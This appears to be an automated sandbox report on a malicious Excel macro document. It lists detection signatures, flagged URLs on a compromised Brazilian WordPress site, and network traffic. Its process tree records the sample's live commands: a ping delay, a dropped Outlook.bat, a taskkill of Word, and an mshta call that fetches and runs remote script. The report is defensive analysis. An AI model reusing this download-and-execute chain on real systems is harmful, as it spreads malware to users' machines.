Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.8245.21810

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.17149.8245.21810 (renamed file extension from 21810 to xls)
Analysis ID:	684646
MD5:	50860325a0e4f6f204c76dd262b7df6b
SHA1:	f096b272f012f300ebbd2536e45d97cf02852c36
SHA256:	6327c67ee4ae318f558e379fbfa071749113398782101c9f3beeb7310e81e725
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Stores large binary data to the registry

Document contains an embedded VBA macro which executes code when the document is opened / closed

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Installs a global mouse hook

Creates a window with clipboard capturing capabilities

Uses taskkill to terminate processes

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2056 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

cmd.exe (PID: 1624 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

PING.EXE (PID: 1648 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

cmd.exe (PID: 1528 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

taskkill.exe (PID: 1732 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)

mshta.exe (PID: 1464 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Virustotal: Detection: 49%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Metadefender: Detection: 27%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	ReversingLabs: Detection: 41%

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ver=5.0.3yT	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0rj	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/1L	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.201.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0cumO	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txts.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0n.css))T	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0ET4.0C;	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#estruturajs?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0Nm	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/t-lazy-sr	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2WI	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt.6.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2$	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#contatos9	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#portfolio_section1.24	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)l	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0(	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00eEve	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Pc	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1b	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/style.csssY	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes=JW&n?H4~b	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.csss	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0r	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0nl	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policy	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.319	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css_&	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20R$	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css...	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.201A	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20WV	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policyflate	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.08	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.22W	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsJl	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/on	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30.6	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: facextrade.com.br

Virustotal: Detection: 5%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe

Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: netdna.bootstrapcdn.com
Source: global traffic	DNS query: name: translate.google.com
Source: global traffic	DNS query: name: storage.ie6countdown.com

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
